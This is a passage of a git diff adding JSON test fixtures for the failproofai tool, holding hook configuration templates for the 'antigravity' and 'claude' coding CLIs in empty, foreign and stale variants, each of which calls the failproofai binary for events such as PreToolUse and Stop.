[ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreInvocation --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ], + "Stop": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + }, + "foreign": { + "failproofai": { + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + }, + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 30 + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreInvocation": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreInvocation --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ], + "Stop": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "failproofai": { + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreInvocation": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreInvocation --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ], + "Stop": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ], + "AnEventWeNoLongerInstall": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/claude-local.json b/__tests__/fixtures/config-templates/claude-local.json new file mode 100644 index 000000000..210926dab --- /dev/null +++ b/__tests__/fixtures/config-templates/claude-local.json @@ -0,0 +1,1037 @@ +{ + "cli": "claude", + "scope": "local", + "binary": "/usr/bin/failproofai", + "empty": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionRequest", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionDenied": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionDenied", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUseFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Notification", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCreated": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCreated", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCompleted": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCompleted", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "StopFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook StopFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TeammateIdle": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TeammateIdle", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "InstructionsLoaded": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook InstructionsLoaded", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ConfigChange": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ConfigChange", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "CwdChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook CwdChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "FileChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook FileChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "WorktreeRemove": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook WorktreeRemove", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Elicitation": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Elicitation", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ElicitationResult": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ElicitationResult", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptExpansion": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptExpansion", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolBatch": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolBatch", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Setup": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Setup", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + }, + "foreign": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 60 + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionRequest", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionDenied": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionDenied", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUseFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Notification", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCreated": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCreated", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCompleted": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCompleted", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "StopFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook StopFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TeammateIdle": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TeammateIdle", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "InstructionsLoaded": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook InstructionsLoaded", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ConfigChange": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ConfigChange", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "CwdChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook CwdChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "FileChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook FileChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "WorktreeRemove": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook WorktreeRemove", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Elicitation": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Elicitation", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ElicitationResult": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ElicitationResult", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptExpansion": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptExpansion", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolBatch": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolBatch", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Setup": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Setup", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionRequest", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionDenied": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionDenied", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUseFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Notification", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCreated": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCreated", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCompleted": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCompleted", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "StopFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook StopFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TeammateIdle": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TeammateIdle", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "InstructionsLoaded": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook InstructionsLoaded", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ConfigChange": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ConfigChange", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "CwdChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook CwdChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "FileChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook FileChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "WorktreeRemove": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook WorktreeRemove", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Elicitation": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Elicitation", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ElicitationResult": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ElicitationResult", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptExpansion": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptExpansion", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolBatch": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolBatch", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Setup": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Setup", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/claude-project.json b/__tests__/fixtures/config-templates/claude-project.json new file mode 100644 index 000000000..6527bb4f4 --- /dev/null +++ b/__tests__/fixtures/config-templates/claude-project.json @@ -0,0 +1,1037 @@ +{ + "cli": "claude", + "scope": "project", + "binary": "/usr/bin/failproofai", + "empty": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PermissionRequest", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionDenied": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PermissionDenied", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUseFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Notification", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SubagentStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SubagentStop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCreated": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook TaskCreated", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCompleted": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook TaskCompleted", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "StopFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook StopFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TeammateIdle": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook TeammateIdle", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "InstructionsLoaded": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook InstructionsLoaded", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ConfigChange": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook ConfigChange", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "CwdChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook CwdChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "FileChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook FileChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "WorktreeRemove": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook WorktreeRemove", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Elicitation": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Elicitation", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ElicitationResult": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook ElicitationResult", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptExpansion": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptExpansion", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolBatch": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolBatch", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Setup": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Setup", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + }, + "foreign": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 60 + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PermissionRequest", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionDenied": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PermissionDenied", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUseFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Notification", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SubagentStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SubagentStop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCreated": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook TaskCreated", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCompleted": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook TaskCompleted", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "StopFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook StopFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TeammateIdle": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook TeammateIdle", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "InstructionsLoaded": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook InstructionsLoaded", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ConfigChange": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook ConfigChange", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "CwdChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook CwdChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "FileChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook FileChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "WorktreeRemove": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook WorktreeRemove", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Elicitation": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Elicitation", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ElicitationResult": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook ElicitationResult", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptExpansion": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptExpansion", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolBatch": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolBatch", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Setup": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Setup", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PermissionRequest", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionDenied": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PermissionDenied", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUseFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": 